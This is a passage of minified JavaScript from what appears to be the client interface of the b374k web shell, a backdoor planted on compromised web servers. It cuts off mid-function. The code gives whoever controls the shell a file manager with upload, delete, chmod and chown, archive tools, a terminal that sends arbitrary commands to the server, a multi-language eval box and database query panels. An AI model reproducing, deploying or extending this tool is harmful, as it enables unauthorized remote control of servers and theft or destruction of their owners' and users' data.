succeeded\');$(\'.renameFile\').val($(\'.renameFileTo\').val())}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function newfolder(path){title="New Folder";path=path+\'newfolder-\'+time();content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Folder Name</td><td><input type=\'text\' class=\'newFolder\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'newfolder_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'newfolder_go();\'>create</span></td></tr></table>";show_box(title,content)}function newfolder_go(){newFolder=$(\'.newFolder\').val();send_post({newFolder:newFolder},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function newfile(path){title="New File";path=path+\'newfile-\'+time();content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>File Name</td><td><input type=\'text\' class=\'newFile\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'newfile_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'newfile_go();\'>create</span></td></tr></table>";show_box(title,content)}function newfile_go(){newFile=$(\'.newFile\').val();send_post({newFile:newFile},function(res){if(res!=\'error\'){view(newFile,\'edit\');$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function viewfileorfolder(){title="View File / Folder";content="<table class=\'boxtbl\'><tr><td><input type=\'text\' class=\'viewFileorFolder\' value=\'"+html_safe(get_cwd())+"\' onkeydown=\\"trap_enter(event, \'viewfileorfolder_go\');\\"></td></tr><tr><td><span class=\'button\' onclick=\'viewfileorfolder_go();\'>view</span></td></tr></table>";show_box(title,content)}function viewfileorfolder_go(){entry=$(\'.viewFileorFolder\').val();send_post({viewFileorFolder:entry},function(res){if(res!=\'error\'){if(res==\'file\'){view(entry,\'auto\');show_tab(\'explorer\')}else if(res==\'folder\'){navigate(entry);show_tab(\'explorer\')}}})}function del(path){title="Delete";content="<table class=\'boxtbl\'><tr><td class=\'colFit\'>Delete</td><td><input type=\'text\' class=\'delete\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'delete_go\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\'delete_go();\'>delete</span></td></tr></table>";show_box(title,content)}function delete_go(){path=$(\'.delete\').val();send_post({delete:path},function(res){if(res!=\'error\'){navigate(res);$(\'.boxresult\').html(\'Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\')})}function find(path){findfile="<table class=\'boxtbl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Find File</p></th></tr></thead><tbody><tr><td style=\'width:144px\'>Search in</td><td><input type=\'text\' class=\'findfilePath\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td style=\'border-bottom:none;\'>Filename contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findfileFilename\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td></td><td><span class=\'cBox findfileFilenameRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;<span class=\'cBox findfileFilenameInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td style=\'border-bottom:none;\'>File contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findfileContains\' onkeydown=\\"trap_enter(event, \'find_go_file\');\\"></td></tr><tr><td></td><td><span class=\'cBox findfileContainsRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;<span class=\'cBox findfileContainsInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class=\'cBox findfileReadable\'></span><span class=\'floatLeft\'>Readable</span>&nbsp;&nbsp;<span class=\'cBox findfileWritable\'></span><span class=\'floatLeft\'>Writable</span>&nbsp;&nbsp;<span class=\'cBox findfileExecutable\'></span><span class=\'floatLeft\'>Executable</span></td></tr></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"find_go_file();\\">find</span></td></tr><tr><td colspan=\'2\' class=\'findfileResult\'></td></tr></tfoot></table>";findfolder="<table class=\'boxtbl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Find Folder</p></th></tr></thead><tbody><tr><td style=\'width:144px\'>Search in</td><td><input type=\'text\' class=\'findFolderPath\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'find_go_folder\');\\"></td></tr><tr><td style=\'border-bottom:none;\'>Foldername contains</td><td style=\'border-bottom:none;\'><input type=\'text\' class=\'findFoldername\' onkeydown=\\"trap_enter(event, \'find_go_folder\');\\"></td></tr><tr><td></td><td><span class=\'cBox findFoldernameRegex\'></span><span class=\'floatLeft\'>Regex</span>&nbsp;&nbsp;&nbsp;<span class=\'cBox findFoldernameInsensitive\'></span><span class=\'floatLeft\'>Case Insensitive</span></td></tr><tr><td>Permissions</td><td><span class=\'cBox findReadable\'></span><span class=\'floatLeft\'>Readable</span>&nbsp;&nbsp;<span class=\'cBox findWritable\'></span><span class=\'floatLeft\'>Writable</span>&nbsp;&nbsp;<span class=\'cBox findExecutable\'></span><span class=\'floatLeft\'>Executable</span></td></tr></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"find_go_folder();\\">find</span></td></tr><tr><td colspan=\'2\' class=\'findResult\'></td></tr></tfoot></table>";$(\'#explorer\').html("<div id=\'xplUpload\'>"+findfile+\'<br>\'+findfolder+\'</div>\');cbox_bind(\'xplUpload\')}function find_go_file(){find_go(\'file\')}function find_go_folder(){find_go(\'folder\')}function find_go(findType){findPath=(findType==\'file\')?$(\'.findfilePath\').val():$(\'.findFolderPath\').val();findResult=(findType==\'file\')?$(\'.findfileResult\'):$(\'.findResult\');findName=(findType==\'file\')?$(\'.findfileFilename\').val():$(\'.findFoldername\').val();findNameRegex=(findType==\'file\')?$(\'.findfileFilenameRegex\').hasClass(\'cBoxSelected\').toString():$(\'.findFoldernameRegex\').hasClass(\'cBoxSelected\').toString();findNameInsensitive=(findType==\'file\')?$(\'.findfileFilenameInsensitive\').hasClass(\'cBoxSelected\').toString():$(\'.findFoldernameInsensitive\').hasClass(\'cBoxSelected\').toString();findContent=(findType==\'file\')?$(\'.findfileContains\').val():"";findContentRegex=(findType==\'file\')?$(\'.findfileContainsRegex\').hasClass(\'cBoxSelected\').toString():"";findContentInsensitive=(findType==\'file\')?$(\'.findfileContainsInsensitive\').hasClass(\'cBoxSelected\').toString():"";findReadable=(findType==\'file\')?$(\'.findfileReadable\').hasClass(\'cBoxSelected\').toString():$(\'.findWritable\').hasClass(\'cBoxSelected\').toString();findWritable=(findType==\'file\')?$(\'.findfileWritable\').hasClass(\'cBoxSelected\').toString():$(\'.findReadable\').hasClass(\'cBoxSelected\').toString();findExecutable=(findType==\'file\')?$(\'.findfileExecutable\').hasClass(\'cBoxSelected\').toString():$(\'.findExecutable\').hasClass(\'cBoxSelected\').toString();send_post({findType:findType,findPath:findPath,findName:findName,findNameRegex:findNameRegex,findNameInsensitive:findNameInsensitive,findContent:findContent,findContentRegex:findContentRegex,findContentInsensitive:findContentInsensitive,findReadable:findReadable,findWritable:findWritable,findExecutable:findExecutable},function(res){if(res!=\'error\'){findResult.html(res)}})}function ul_go_comp(){ul_go(\'comp\')}function ul_go_url(){ul_go(\'url\')}function ul(path){ulcomputer="<table class=\'boxtbl ulcomp\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Upload From Computer <a onclick=\'ul_add_comp();\'>(+)</a></p></th></tr></thead><tbody class=\'ulcompadd\'></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"ul_go_comp();\\">upload</span></td></tr><tr><td colspan=\'2\' class=\'ulCompResult\'></td></tr><tr><td colspan=\'2\'><div id=\'ulDragNDrop\'>Or Drag and Drop files here</div></td></tr><tr><td colspan=\'2\' class=\'ulDragNDropResult\'></td></tr></tfoot></table>";ulurl="<table class=\'boxtbl ulurl\'><thead><tr><th colspan=\'2\'><p class=\'boxtitle\'>Upload From Url <a onclick=\'ul_add_url();\'>(+)</a></p></th></tr></thead><tbody class=\'ulurladd\'></tbody><tfoot><tr><td><span class=\'button navbar\' data-path=\'"+path+"\'>explorer</span></td><td><span class=\'button\' onclick=\\"ul_go_url();\\">upload</span></td></tr><tr><td colspan=\'2\' class=\'ulUrlResult\'></td></tr></tfoot></table>";content=ulcomputer+\'<br>\'+ulurl+"<input type=\'hidden\' class=\'ul_path\' value=\'"+path+"\'>";$(\'#explorer\').html(content);ul_add_comp();ul_add_url();$(\'#ulDragNDrop\').on(\'dragenter\',function(e){e.stopPropagation();e.preventDefault()});$(\'#ulDragNDrop\').on(\'dragover\',function(e){e.stopPropagation();e.preventDefault()});$(\'#ulDragNDrop\').on(\'drop\',function(e){e.stopPropagation();e.preventDefault();files=e.target.files||e.dataTransfer.files;ulResult=$(\'.ulDragNDropResult\');ulResult.html(\'\');$.each(files,function(i){if(this){ulType=\'DragNDrop\';filename=this.name;var formData=new FormData();formData.append(\'ulFile\',this);formData.append(\'ulSaveTo\',get_cwd());formData.append(\'ulFilename\',filename);formData.append(\'ulType\',\'comp\');entry="<p class=\'ulRes"+ulType+i+"\'><span class=\'strong\'>&gt;</span>&nbsp;<a onclick=\'view_entry(this);\' class=\'ulFilename"+ulType+i+"\'>"+filename+"</a>&nbsp;<span class=\'ulProgress"+ulType+i+"\'></span></p>";ulResult.append(entry);if(this.size<=0){$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}else{ul_start(formData,ulType,i)}}})})}function ul_add_comp(path){path=html_safe($(\'.ul_path\').val());$(\'.ulcompadd\').append("<tr><td style=\'width:144px\'>File</td><td><input type=\'file\' class=\'ulFileComp\'></td></tr><tr><td>Save to</td><td><input type=\'text\' class=\'ulSaveToComp\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ul_go_comp\');\\"></td></tr><tr><td>Filename (Optional)</td><td><input type=\'text\' class=\'ulFilenameComp\' onkeydown=\\"trap_enter(event, \'ul_go_comp\');\\"></td></tr>")}function ul_add_url(path){path=html_safe($(\'.ul_path\').val());$(\'.ulurladd\').append("<tr><td style=\'width:144px\'>File URL</td><td><input type=\'text\' class=\'ulFileUrl\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr><tr><td>Save to</td><td><input type=\'text\' class=\'ulSaveToUrl\' value=\'"+path+"\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr><tr><td>Filename (Optional)</td><td><input type=\'text\' class=\'ulFilenameUrl\' onkeydown=\\"trap_enter(event, \'ul_go_url\');\\"></td></tr>")}function ul_start(formData,ulType,i){loading_start();$.ajax({url:targeturl,type:\'POST\',data:formData,cache:false,contentType:false,processData:false,xhr:function(){myXhr=$.ajaxSettings.xhr();if(myXhr.upload){myXhr.upload.addEventListener(\'progress\',function(e){percent=Math.floor(e.loaded/e.total*100);$(\'.ulProgress\'+ulType+i).html(\'( \'+percent+\'% )\')},false)}return myXhr},success:function(res){if(res.match(/Warning.*POST.*Content-Length.*of.*bytes.*exceeds.*the.*limit.*of/)){res=\'error\'}if(res==\'error\'){$(\'.ulProgress\'+ulType+i).html(\'( failed )\')}else{$(\'.ulRes\'+ulType+i).html(res)}loading_stop()},error:function(){loading_stop();$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}})}function ul_go(ulType){ulFile=(ulType==\'comp\')?$(\'.ulFileComp\'):$(\'.ulFileUrl\');ulResult=(ulType==\'comp\')?$(\'.ulCompResult\'):$(\'.ulUrlResult\');ulResult.html(\'\');ulFile.each(function(i){if(((ulType==\'comp\')&&this.files[0])||((ulType==\'url\')&&(this.value!=\'\'))){file=(ulType==\'comp\')?this.files[0]:this.value;filename=(ulType==\'comp\')?file.name:file.substring(file.lastIndexOf(\'/\')+1);ulSaveTo=(ulType==\'comp\')?$(\'.ulSaveToComp\')[i].value:$(\'.ulSaveToUrl\')[i].value;ulFilename=(ulType==\'comp\')?$(\'.ulFilenameComp\')[i].value:$(\'.ulFilenameUrl\')[i].value;var formData=new FormData();formData.append(\'ulFile\',file);formData.append(\'ulSaveTo\',ulSaveTo);formData.append(\'ulFilename\',ulFilename);formData.append(\'ulType\',ulType);entry="<p class=\'ulRes"+ulType+i+"\'><span class=\'strong\'>&gt;</span>&nbsp;<a onclick=\'view_entry(this);\' class=\'ulFilename"+ulType+i+"\'>"+filename+"</a>&nbsp;<span class=\'ulProgress"+ulType+i+"\'></span></p>";ulResult.append(entry);check=true;if(ulType==\'comp\'){check=(file.size<=0)}else check=(file=="");if(check){$(\'.ulProgress\'+ulType+i).html(\'( failed )\');$(\'.ulProgress\'+ulType+i).removeClass(\'ulProgress\'+ulType+i);$(\'.ulFilename\'+ulType+i).removeClass(\'ulFilename\'+ulType+i)}else{ul_start(formData,ulType,i)}}})}function trap_ctrl_enter(el,e,callback){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){if(callback!=null)window[callback]()}fix_tabchar(el,e)}function edit_save_raw(){edit_save(\'edit\')}function edit_save_hex(){edit_save(\'hex\')}function edit_save(editType){editFilename=$(\'#editFilename\').val();editInput=$(\'#editInput\').val();editSuccess=false;preserveTimestamp=\'false\';if($(\'.cBox\').hasClass(\'cBoxSelected\'))preserveTimestamp=\'true\';send_post({editType:editType,editFilename:editFilename,editInput:editInput,preserveTimestamp:preserveTimestamp},function(res){if(res!=\'error\'){editSuccess=\'success\';view(editFilename,editType,preserveTimestamp)}else editSuccess=\'error\'})}function mass_act(type){buffer=get_all_cbox_selected(\'xplTable\',\'xpl_href\');if((type==\'cut\')||(type==\'copy\')){localStorage.setItem(\'bufferLength\',buffer.length);localStorage.setItem(\'bufferAction\',type);$.each(buffer,function(i,v){localStorage.setItem(\'buffer_\'+i,v)})}else if(type==\'paste\'){bufferLength=localStorage.getItem(\'bufferLength\');bufferAction=localStorage.getItem(\'bufferAction\');if(bufferLength>0){massBuffer=\'\';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem(\'buffer_\'+i))){massBuffer+=buff+\'\\n\'}}massBuffer=$.trim(massBuffer);if(bufferAction==\'cut\')title=\'move\';else if(bufferAction==\'copy\')title=\'copy\';content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>"+title+" here</td><td><input type=\'text\' value=\'"+html_safe(get_cwd())+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_paste\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'paste\');\\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type==\'extract (tar)\')||(type==\'extract (tar.gz)\')||(type==\'extract (zip)\')){if(type==\'extract (tar)\')arcType=\'untar\';else if(type==\'extract (tar.gz)\')arcType=\'untargz\';else if(type==\'extract (zip)\')arcType=\'unzip\';if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>Extract to</td><td><input class=\'massValue\' type=\'text\' value=\'"+html_safe(get_cwd())+"\'onkeydown=\\"trap_enter(event, \'mass_act_go_"+arcType+"\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+arcType+"\');\\">extract</span></td></tr></table>";show_box(ucfirst(title),content)}}else if((type==\'compress (tar)\')||(type==\'compress (tar.gz)\')||(type==\'compress (zip)\')){date=new Date();rand=date.getTime();if(type==\'compress (tar)\'){arcType=\'tar\';arcFilename=rand+\'.tar\'}else if(type==\'compress (tar.gz)\'){arcType=\'targz\';arcFilename=rand+\'.tar.gz\'}else if(type==\'compress (zip)\'){arcType=\'zip\';arcFilename=rand+\'.zip\'}if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr><tr><td class=\'colFit\'>Archive</td><td><input class=\'massValue\' type=\'text\' value=\'"+arcFilename+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+arcType+"\');\\"></td></tr><tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+arcType+"\');\\">compress</span></td></tr></table>";show_box(ucfirst(title),content)}}else if(type!=\'\'){if(buffer.length>0){massBuffer=\'\';$.each(buffer,function(i,v){massBuffer+=v+\'\\n\'});massBuffer=$.trim(massBuffer);title=type;line=\'\';if(type==\'chmod\')line="<tr><td class=\'colFit\'>chmod</td><td><input class=\'massValue\' type=\'text\' value=\'0777\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>";else if(type==\'chown\')line="<tr><td class=\'colFit\'>chown</td><td><input class=\'massValue\' type=\'text\' value=\'root\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>";else if(type==\'touch\'){var now=new Date();line="<tr><td class=\'colFit\'>touch</td><td><input class=\'massValue\' type=\'text\' value=\'"+now.toGMTString()+"\' onkeydown=\\"trap_enter(event, \'mass_act_go_"+type+"\');\\"></td></tr>"}content="<table class=\'boxtbl\'><tr><td colspan=\'2\'><textarea class=\'massBuffer\' style=\'height:120px;min-height:120px;\' wrap=\'off\' disabled>"+massBuffer+"</textarea></td></tr>"+line+"<tr><td colspan=\'2\'><span class=\'button\' onclick=\\"mass_act_go(\'"+type+"\');\\">"+title+"</span></td></tr></table>";show_box(ucfirst(title),content)}}$(\'.cBoxSelected\').removeClass(\'cBoxSelected\');xpl_update_status()}function mass_act_go_tar(){mass_act_go(\'tar\')}function mass_act_go_targz(){mass_act_go(\'targz\')}function mass_act_go_zip(){mass_act_go(\'zip\')}function mass_act_go_untar(){mass_act_go(\'untar\')}function mass_act_go_untargz(){mass_act_go(\'untargz\')}function mass_act_go_unzip(){mass_act_go(\'unzip\')}function mass_act_go_paste(){mass_act_go(\'paste\')}function mass_act_go_chmod(){mass_act_go(\'chmod\')}function mass_act_go_chown(){mass_act_go(\'chown\')}function mass_act_go_touch(){mass_act_go(\'touch\')}function mass_act_go(massType){massBuffer=$.trim($(\'.massBuffer\').val());massPath=get_cwd();massValue=\'\';if(massType==\'paste\'){bufferLength=localStorage.getItem(\'bufferLength\');bufferAction=localStorage.getItem(\'bufferAction\');if(bufferLength>0){massBuffer=\'\';for(var i=0;i<bufferLength;i++){if((buff=localStorage.getItem(\'buffer_\'+i))){massBuffer+=buff+\'\\n\'}}massBuffer=$.trim(massBuffer);if(bufferAction==\'copy\')massType=\'copy\';else if(bufferAction==\'cut\')massType=\'cut\'}}else if((massType==\'chmod\')||(massType==\'chown\')||(massType==\'touch\')){massValue=$(\'.massValue\').val()}else if((massType==\'tar\')||(massType==\'targz\')||(massType==\'zip\')){massValue=$(\'.massValue\').val()}else if((massType==\'untar\')||(massType==\'untargz\')||(massType==\'unzip\')){massValue=$(\'.massValue\').val()}if(massBuffer!=\'\'){send_post({massType:massType,massBuffer:massBuffer,massPath:massPath,massValue:massValue},function(res){if(res!=\'error\'){$(\'.boxresult\').html(res+\' Operation(s) succeeded\')}else $(\'.boxresult\').html(\'Operation(s) failed\');navigate(get_cwd())})}}function xpl_update_status(){totalSelected=$(\'#xplTable\').find(\'.cBoxSelected\').not(\'.cBoxAll\').length;if(totalSelected==0)$(\'.xplSelected\').html(\'\');else $(\'.xplSelected\').html(\', \'+totalSelected+\' item(s) selected\')}function xpl_bind(){$(\'.navigate\').off(\'click\');$(\'.navigate\').on(\'click\',function(e){path=xpl_href($(this));navigate(path);hide_box()});$(\'.navbar\').off(\'click\');$(\'.navbar\').on(\'click\',function(e){path=$(this).attr(\'data-path\');navigate(path);hide_box()});$(\'.newfolder\').off(\'click\');$(\'.newfolder\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));newfolder(path)});$(\'.newfile\').off(\'click\');$(\'.newfile\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));newfile(path)});$(\'.del\').off(\'click\');$(\'.del\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));del(path)});$(\'.view\').off(\'click\');$(\'.view\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'auto\');hide_box()});$(\'.hex\').off(\'click\');$(\'.hex\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'hex\')});$(\'#viewFullsize\').off(\'click\');$(\'#viewFullsize\').on(\'click\',function(e){src=$(\'#viewImage\').attr(\'src\');window.open(src)});$(\'.edit\').off(\'click\');$(\'.edit\').on(\'click\',function(e){path=xpl_href($(this));view(path,\'edit\');hide_box()});$(\'.ren\').off(\'click\');$(\'.ren\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));ren(path)});$(\'.action\').off(\'click\');$(\'.action\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'file\')});$(\'.actionfolder\').off(\'click\');$(\'.actionfolder\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'dir\')});$(\'.actiondot\').off(\'click\');$(\'.actiondot\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));action(path,\'dot\')});$(\'.dl\').off(\'click\');$(\'.dl\').on(\'click\',function(e){path=html_safe(xpl_href($(this)));$(\'#form\').append("<input type=\'hidden\' name=\'download\' value=\'"+path+"\'>");$(\'#form\').submit();$(\'#form\').html(\'\');hide_box()});$(\'.ul\').off(\'click\');$(\'.ul\').on(\'click\',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);ul(path);hide_box()});$(\'.find\').off(\'click\');$(\'.find\').on(\'click\',function(e){path=xpl_href($(this));navigate(path,false);path=html_safe(path);find(path);hide_box()});$(\'#massAction\').off(\'click\');$(\'#massAction\').on(\'change\',function(e){type=$(\'#massAction\').val();mass_act(type);$(\'#massAction\').val(\'Action\')});cbox_bind(\'xplTable\',\'xpl_update_status\')}function xpl_href(el){return el.parent().parent().attr(\'data-path\')}function multimedia(path){var a=$(\'video\').get(0);send_post({multimedia:path},function(res){a.src=res});hide_box()}$(\'#terminalInput\').on(\'keydown\',function(e){if(e.keyCode==13){cmd=$(\'#terminalInput\').val();terminalHistory.push(cmd);terminalHistoryPos=terminalHistory.length;if(cmd==\'clear\'||cmd==\'cls\'){$(\'#terminalOutput\').html(\'\')}else if((path=cmd.match(/cd(.*)/i))||(path=cmd.match(/^([a-z]:)$/i))){path=$.trim(path[1]);navigate(path)}else if(cmd!=\'\'){send_post({terminalInput:cmd},function(res){cwd=html_safe(get_cwd());res=\'<span class=\\\'strong\\\'>\'+cwd+\'&gt;</span>\'+html_safe(cmd)+\'\\n\'+res+\'\\n\';$(\'#terminalOutput\').append(res);bottom=$(document).height()-$(window).height();$(window).scrollTop(bottom)})}$(\'#terminalInput\').val(\'\');setTimeout("$(\'#terminalInput\').focus()",100)}else if(e.keyCode==38){if(terminalHistoryPos>0){terminalHistoryPos--;$(\'#terminalInput\').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos<0)terminalHistoryPos=0}}else if(e.keyCode==40){if(terminalHistoryPos<terminalHistory.length-1){terminalHistoryPos++;$(\'#terminalInput\').val(terminalHistory[terminalHistoryPos]);if(terminalHistoryPos>terminalHistory.length)terminalHistoryPos=terminalHistory.length}}fix_tabchar(this,e)});function eval_go(){evalType=$(\'#evalType\').val();evalInput=$(\'#evalInput\').val();evalOptions=$(\'#evalOptions\').val();evalArguments=$(\'#evalArguments\').val();if(evalOptions==\'Options/Switches\')evalOptions=\'\';if(evalArguments==\'Arguments\')evalArguments=\'\';if($.trim(evalInput)!=\'\'){send_post({evalInput:evalInput,evalType:evalType,evalOptions:evalOptions,evalArguments:evalArguments},function(res){if(res!=\'error\'){splits=res.split(\'{[|b374k|]}\');if(splits.length==2){output=splits[0]+"<hr>"+splits[1];$(\'#evalOutput\').html(output)}else{$(\'#evalOutput\').html(res)}}})}}function eval_init(){if((evalSupported=localStorage.getItem(\'evalSupported\'))){eval_bind();output("eval : "+evalSupported);evalReady=true}else{send_post({evalGetSupported:"evalGetSupported"},function(res){evalReady=true;if(res!="error"){localStorage.setItem(\'evalSupported\',res);evalSupported=res;eval_bind();output("eval : "+evalSupported)}})}}function eval_bind(){if((evalSupported!=null)&&(evalSupported!=\'\')){splits=evalSupported.split(",");$.each(splits,function(i,k){$(\'#evalType\').append("<option>"+k+"</option>")})}$(\'#evalType\').on(\'change\',function(e){if($(\'#evalType\').val()==\'php\'){$(\'#evalAdditional\').hide()}else{$(\'#evalAdditional\').show()}});$(\'#evalOptions\').on(\'focus\',function(e){options=$(\'#evalOptions\');if(options.val()==\'Options/Switches\')options.val(\'\')});$(\'#evalOptions\').on(\'blur\',function(e){options=$(\'#evalOptions\');if($.trim(options.val())==\'\')options.val(\'Options/Switches\')});$(\'#evalArguments\').on(\'focus\',function(e){args=$(\'#evalArguments\');if(args.val()==\'Arguments\')args.val(\'\')});$(\'#evalArguments\').on(\'blur\',function(e){args=$(\'#evalArguments\');if($.trim(args.val())==\'\')args.val(\'Arguments\')});$(\'#evalInput\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){eval_go()}fix_tabchar(this,e)})}Zepto(function($){$(\'#decodeStr\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){decode_go()}fix_tabchar(this,e)})});function decode_go(){decodeStr=$(\'#decodeStr\').val();send_post({decodeStr:decodeStr},function(res){if(res!=\'error\'){$(\'#decodeResult\').html(\'\');$(\'#decodeResult\').html(res)}})}Zepto(function($){db_init()});var dbSupported="";var dbPageLimit=50;function db_init(){if((dbSupported=localStorage.getItem(\'db_supported\'))){db_bind();output("db : "+dbSupported);db_add_supported()}else{send_post({dbGetSupported:""},function(res){if(res!="error"){localStorage.setItem(\'dbSupported\',res);dbSupported=res;db_bind();output("db : "+dbSupported);db_add_supported()}})}}function db_add_supported(){splits=dbSupported.split(",");$.each(splits,function(i,k){$(\'#dbType\').append("<option>"+k+"</option>")})}function db_bind(){$(\'#dbType\').on(\'change\',function(e){type=$(\'#dbType\').val();if((type==\'odbc\')||(type==\'pdo\')){$(\'.dbHostLbl\').html(\'DSN / Connection String\');$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').hide()}else if((type==\'sqlite\')||(type==\'sqlite3\')){$(\'.dbHostLbl\').html(\'DB File\');$(\'.dbUserRow\').hide();$(\'.dbPassRow\').hide();$(\'.dbPortRow\').hide()}else{$(\'.dbHostLbl\').html(\'Host\');$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').show()}});$(\'#dbQuery\').on(\'focus\',function(e){if($(\'#dbQuery\').val()==\'You can also press ctrl+enter to submit\'){$(\'#dbQuery\').val(\'\')}});$(\'#dbQuery\').on(\'blur\',function(e){if($(\'#dbQuery\').val()==\'\'){$(\'#dbQuery\').val(\'You can also press ctrl+enter to submit\')}});$(\'#dbQuery\').on(\'keydown\',function(e){if(e.ctrlKey&&(e.keyCode==10||e.keyCode==13)){db_run()}})}function db_nav_bind(){dbType=$(\'#dbType\').val();$(\'.boxNav\').off(\'click\');$(\'.boxNav\').on(\'click\',function(){$(this).next().toggle()});$(\'.dbTable\').off(\'click\');$(\'.dbTable\').on(\'click\',function(){type=$(\'#dbType\').val();table=$(this).html();db=$(this).parent().parent().parent().prev().html();db_query_tbl(type,db,table,0,dbPageLimit)})}function db_connect(){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();send_post({dbType:dbType,dbHost:dbHost,dbUser:dbUser,dbPass:dbPass,dbPort:dbPort},function(res){if(res!=\'error\'){$(\'#dbNav\').html(res);$(\'.dbHostRow\').hide();$(\'.dbUserRow\').hide();$(\'.dbPassRow\').hide();$(\'.dbPortRow\').hide();$(\'.dbConnectRow\').hide();$(\'.dbQueryRow\').show();$(\'#dbBottom\').show();db_nav_bind()}else $(\'.dbError\').html(\'Unable to connect\')})}function db_disconnect(){$(\'.dbHostRow\').show();$(\'.dbUserRow\').show();$(\'.dbPassRow\').show();$(\'.dbPortRow\').show();$(\'.dbConnectRow\').show();$(\'.dbQueryRow\').hide();$(\'#dbNav\').html(\'\');$(\'#dbResult\').html(\'\');$(\'#dbBottom\').hide()}function db_run(){dbType=$(\'#dbType\').val();dbHost=$(\'#dbHost\').val();dbUser=$(\'#dbUser\').val();dbPass=$(\'#dbPass\').val();dbPort=$(\'#dbPort\').val();dbQuery=$(\'#dbQuery\').val();if((dbQuery!=\'\')&&(dbQuery!=\'You can also press ctrl+enter to 